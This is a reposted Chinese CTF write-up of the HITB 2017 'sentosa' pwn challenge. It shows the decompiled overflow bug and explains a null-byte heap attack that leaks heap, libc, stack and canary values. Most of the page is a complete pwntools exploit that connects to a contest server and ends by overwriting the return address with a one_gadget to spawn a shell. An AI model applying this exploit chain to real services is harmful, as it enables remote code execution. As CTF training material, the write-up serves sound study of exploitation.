hitb2017 sentosa writeup

转载

weixin_30872733 于 2017-08-31 00:50:00 发布 65 收藏
文章标签： 数据结构与算法
原文链接：http://www.cnblogs.com/1oner/p/7456253.html

我都快忘了我还有个博客了。。。

这次有幸被XMAN夏令营选为代表去新加坡参加htib线下赛（其实由于太菜变成了新加坡5日游。。。），pwn题被虐哭，在此我要再次感谢一下BrieflyX大佬，要不是出了这道sentosa我们队就会面临一道pwn都做不出来的窘境。：）

这道题是一道很常规的题，没有什么骚套路，就是简单粗暴的栈溢出。不过由于开了PIE和canary，所以需要泄露堆地址、泄露libc基址、泄露栈地址、泄露canary。

```
__int64 __fastcall my_read(_BYTE *a1, int a2)
{
  int v2; // esi@1
  _BYTE *v3; // rbp@2
  __int64 v4; // rbx@2
  char buf; // [sp+7h] [bp-31h]@3
  __int64 v7; // [sp+8h] [bp-30h]@1

  v7 = *MK_FP(__FS__, 40LL);
  v2 = a2 - 1;
  if ( v2 )
  {
    v3 = a1;
    LODWORD(v4) = 0;
    do
    {
      read(0, &buf, 1uLL);
      if ( buf == 10 )
      {
        a1[(signed int)v4] = 0;
        return *MK_FP(__FS__, 40LL) ^ v7;
      }
      LODWORD(v4) = v4 + 1;
      *v3++ = buf;
    }
    while ( (_DWORD)v4 != v2 );
    v4 = (signed int)v4;
  }
  else
  {
    v4 = 0LL;
  }
  a1[v4] = 0;
  return *MK_FP(__FS__, 40LL) ^ v7;
}
```

当输入长度，即a2，为0时，会导致v2变成0xffffffff，造成一个溢出，但是最后会加上一个0，所以无法直接泄露canary。

```
__int64 v0; // rdx@1
project *v1; // r12@7
unsigned int length; // [sp+Ch] [bp-9Ch]@6
char src; // [sp+10h] [bp-98h]@7
__int16 v5; // [sp+68h] [bp-40h]@7
void *addr; // [sp+6Ah] [bp-3Eh]@7
__int64 v7; // [sp+78h] [bp-30h]@1

v0 = 0LL;
v7 = *MK_FP(__FS__, 40LL);
if ( projects_num > 16 )
{
  puts("There are too much projects!");
}
else
{
  while ( project_table[v0] )
  {
    if ( ++v0 == 16 )
    {
      _printf_chk(1LL, "Error.");
      exit(0);
    }
  }
  _printf_chk(1LL, "Input length of your project name: ");
  _isoc99_scanf("%d", &length);
  if ( length > 89 )
  {
    puts("Invalid name length!");
  }
  else
  {
    addr = malloc((signed int)length + 21LL);
    v1 = (project *)((char *)addr + length + 5);
    *(_DWORD *)addr = length;
    memset(&src, 0, 0x58uLL);
    v5 = 0;
    _printf_chk(1LL, "Input your project name: ");
    my_read(&src, length);
```

这里利用null byte attack，用最后的0覆盖addr的最低位，导致堆指针发生变化，提前构造fastbin链表使堆上残留一个fd指针，从而泄露堆地址。然后伪造一个smallbin，修改addr然后free掉从而泄露出libc基址。然后泄露libc中的environ变量得到栈地址。最后泄露canary，然后就可以各种姿势拿flag。

注：由于堆布局的原因，泄露堆地址时首字节泄露不出来。不过首字节大概率为0x55，小概率为0x56，极小概率为0x54，所以直接硬编码为0x55，exp成功率并不是100%，不过失败了多试几次就行了。

```
1  from pwn import *
2  import os
3  from ctypes import *
4
5  context.log_level = 'debug'
6
7  DEBUG = False
8
9  elf = ELF('./sentosa')
10 libc = ELF('./libc.so.6')
11
12 env = os.environ
13
14 env['LD_PRELOAD'] = './libc.so.6'
15
16 if DEBUG:
17     p = process('./sentosa', env=env)
18     #raw_input('go')
19 else:
20     p = remote('47.74.144.222', 20007)
21
22 def start_project(size, name='0', price=0, area=0, capacity=0):
23     p.recvuntil('5. Exit\n')
24     p.sendline('1')
25     p.recvuntil('name: ')
26     p.sendline(str(size))
27     p.recvuntil('name: ')
```

```
    p.sendline(name)
    p.recvuntil('price: ')
    p.sendline(str(price))
    p.recvuntil('area: ')
    p.sendline(str(area))
    p.recvuntil('capacity: ')
    p.sendline(str(capacity))

def cancel_project(number):
    p.recvuntil('5. Exit\n')
    p.sendline('4')
    p.recvuntil('Input your projects number: ')
    p.sendline(str(number))

start_project(3)
start_project(3)
start_project(3)
start_project(3)
cancel_project(1)
cancel_project(0)
cancel_project(2)

start_project(0, 'A'*(0x98-0x3e))


p.recvuntil('5. Exit\n')
p.sendline('2')
p.recvuntil('Area: ')
a = p.recvuntil('\nCapacity: ', drop=True)
b = p.recvuntil('\nProject: ', drop=True)
a = c_uint(int(a, 10)).value
b = c_uint(int(b, 10)).value

heap = 0x550000000000 + b*0x100

print hex(heap)

start_project(43, 'B'*36+p32(0xc1), 0x10000)
start_project(43)
start_project(43)
start_project(43)
start_project(0, 'C'*(0x98-0x3e)+p64(heap+0xc0))

cancel_project(6)

start_project(0, 'D'*(0x98-0x3e)+p64(heap+0xbc))

p.recvuntil('5. Exit\n')
p.sendline('2')
p.recvuntil('Capacity: 0\n')
p.recvuntil('Capacity: 0\n')
p.recvuntil('Capacity: 0\n')
p.recvuntil('Capacity: 0\n')
p.recvuntil('Project: ')

libc_base = u64(p.recvuntil('\nPrice: ', drop=True).ljust(8, '\x00')) - 0x3c3b78

environ = libc_base + libc.symbols['environ']
one_gadget = libc_base + 0xf0567
```

```
87
88 start_project(27)
89
90 start_project(27+16)
91
92 start_project(0, 'E'*(0x98-0x3e)+p64(environ-4))
93
94 p.recvuntil('5. Exit\n')
95 p.sendline('2')
96 p.recvuntil('Capacity: 0\n')
97 p.recvuntil('Capacity: 0\n')
98 p.recvuntil('Capacity: 0\n')
99 p.recvuntil('Capacity: 0\n')
100 p.recvuntil('Capacity: 0\n')
101 p.recvuntil('Capacity: 0\n')
102 p.recvuntil('Capacity: 0\n')
103 p.recvuntil('Capacity: 0\n')
104 p.recvuntil('Project: ')
105
106 stack = u64(p.recvuntil('\nPrice: ', drop=True).ljust(8, '\x00'))
107
108 print hex(stack) # 0x7ffc42a071a8
109
110 start_project(0, 'F'*(0x98-0x3e)+p64(stack-0x133))
111
112 p.recvuntil('5. Exit\n')
113 p.sendline('2')
114 p.recvuntil('Capacity: 0\n')
115 p.recvuntil('Capacity: 0\n')
116 p.recvuntil('Capacity: 0\n')
117 p.recvuntil('Capacity: 0\n')
118 p.recvuntil('Capacity: 0\n')
119 p.recvuntil('Capacity: 0\n')
120 p.recvuntil('Capacity: 0\n')
121 p.recvuntil('Capacity: 0\n')
122 p.recvuntil('Capacity: 0\n')
123 p.recvuntil('Project: ')
124
125 canary = p.recvuntil('\nPrice: ', drop=True)
126
127 assert len(canary) == 7
128
129 canary = u64('\x00'+canary)
130
131 print hex(one_gadget)
132
133 #raw_input('go')
134
135 start_project(0, 'C'*0x68 + p64(canary) + 'D'*0x28 + p64(one_gadget))
136
137 p.interactive()
```

exp